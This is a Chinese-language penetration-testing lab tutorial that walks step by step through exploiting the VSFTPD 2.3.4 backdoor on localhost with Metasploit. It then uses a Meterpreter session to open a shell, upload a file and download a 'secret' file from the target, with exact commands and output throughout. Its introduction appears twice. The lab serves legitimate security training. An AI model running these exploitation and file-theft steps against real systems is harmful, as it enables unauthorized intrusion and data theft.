简介
在本实验中,你将学习使用 Metasploit 框架进行后渗透的基础知识。首先,你将通过利用一个存在漏洞的 FTP 服务器获取初始访问权限,从而建立一个 Meterpreter 会话。随后,你将进入后渗透阶段。该阶段的目标是探索受控系统、提升权限并窃取数据。
你将练习使用必要的 Meterpreter 命令来与会话进行交互、执行 Shell 命令,以及在攻击者和受害者机器之间传输文件。本实验将引导你从初始漏洞利用过渡到基础的后渗透技术。
在本实验中,你将学习使用 Metasploit 框架进行后渗透的基础知识。首先,你将通过利用一个存在漏洞的 FTP 服务器获取初始访问权限,从而建立一个 Meterpreter 会话。随后,你将进入后渗透阶段。该阶段的目标是探索受控系统、提升权限并窃取数据。
你将练习使用必要的 Meterpreter 命令来与会话进行交互、执行 Shell 命令,以及在攻击者和受害者机器之间传输文件。本实验将引导你从初始漏洞利用过渡到基础的后渗透技术。
在此步骤中,你将通过利用 VSFTPD 2.3.4 服务中的后门来获取目标系统的访问权限。这将为你提供一个用于后渗透的 Meterpreter 会话。
首先,启动 Metasploit 框架控制台。
msfconsole -q
Metasploit 运行后,选择用于 VSFTPD 2.3.4 后门的漏洞利用模块。
use exploit/unix/ftp/vsftpd_234_backdoor
现在,配置目标和 Payload 选项。由于服务运行在同一台机器上,我们使用回环 IP 地址。默认的 Payload 需要 LHOST,如果出现 "All encoders failed to encode" 错误,请设置编码器以避免此问题:
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
最后,启动漏洞利用。
exploit
故障排除:如果你看到
Msf::OptionValidateError One or more options failed to validate: LHOST,请运行set LHOST 127.0.0.1。如果你看到All encoders failed to encode,请运行set Encoder generic/none。然后再次运行exploit。
警告:第一次尝试可能会失败,并显示 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 或 "Exploit completed, but no session was created."。如果发生这种情况,只需再次运行
exploit命令即可——第二次尝试通常会成功。
如果成功,将打开一个 Meterpreter 会话(会话 1)。
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
现在你已经拥有了一个 Meterpreter 会话。要返回 msf > 提示符以进行下一步,请按 Ctrl+Z,然后在询问 "Background session 1?" 时输入 y。
现在你已经在后台拥有了一个 Meterpreter 会话,接下来将学习如何与其交互。sessions 命令用于列出所有活动会话,且仅在 Metasploit 主提示符(msf exploit(...) >)下有效,在 Meterpreter 内部无效。
要查看活动会话,请运行:
sessions
你应该能看到 ID 为 1 的 Meterpreter 会话。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
要与会话 1 交互,请运行:
sessions -i 1
你的提示符将变为 meterpreter >,表明你现在已进入该会话。
[*] Starting interaction with 1...
meterpreter >
你现在可以从 Meterpreter 内部运行后渗透命令了。
在 Meterpreter 内部,你可以进入标准的系统 Shell 以在目标上运行命令。当你需要执行特定于 Shell 的命令或脚本时,这非常有用。
在 meterpreter > 提示符下,输入:
shell
一个标准 Shell 将在远程目标上打开。提示符可能会短暂卡顿,但你现在已经进入了系统 Shell,可以直接运行命令。
Process 1654 created.
Channel 1 created.
运行 whoami 以确认你的用户身份:
whoami
labex
输入 exit 返回到 Meterpreter 提示符。
exit
你的提示符将变回 meterpreter >。在下一步中,你将使用此会话将文件上传到目标机器。
Meterpreter 的 upload 命令可以将文件从本地机器传输到目标机器。在 /home/labex/project 目录下有一个名为 local_file.txt 的文件。将其上传到远程机器的 /tmp 目录。
在 meterpreter > 提示符下,运行:
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
你将看到确认上传的输出:
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
在本实验中,目标运行在同一台机器上,因此文件会出现在 /tmp/uploaded_file.txt。接下来,你将练习反向操作:从目标下载文件。
download 命令可以将文件从目标机器传输到你的本地机器。远程系统 /tmp 目录下有一个名为 secret_data.txt 的文件。将其下载到你的项目目录中。
在 meterpreter > 提示符下,运行:
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
你将看到确认下载的输出。Meterpreter 可能会创建一个名为 downloaded_secret.txt 的目录,并将文件以 secret_data.txt 的名称放置在其中。
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
文件现在已位于你的本地机器上。在最后一步中,你将关闭会话并验证下载的内容。
在最后一步中,你将关闭 Meterpreter 会话并退出 Metasploit 控制台。
在 meterpreter > 提示符下,输入 exit 以关闭会话。
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
要退出 Metasploit 控制台,请输入 exit。如果系统提示存在活动会话,请使用 exit -y 强制退出。
exit -y
验证下载的文件。如前所述,Meterpreter 可能创建了一个目录;文件位于 downloaded_secret.txt/secret_data.txt:
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
恭喜!你已经完成了一个完整的漏洞利用和后渗透工作流程。
在本实验中,你学习了从初始访问到后渗透的完整工作流程。你首先通过漏洞利用获取了一个 Meterpreter 会话。你练习了如何列出并与会话交互、从 Meterpreter 获取标准系统 Shell,并掌握了使用 upload 和 download 命令在攻击者和受害者机器之间传输文件。最后,你学习了如何正确关闭会话并退出 Metasploit 控制台。这些技能是渗透测试的基础。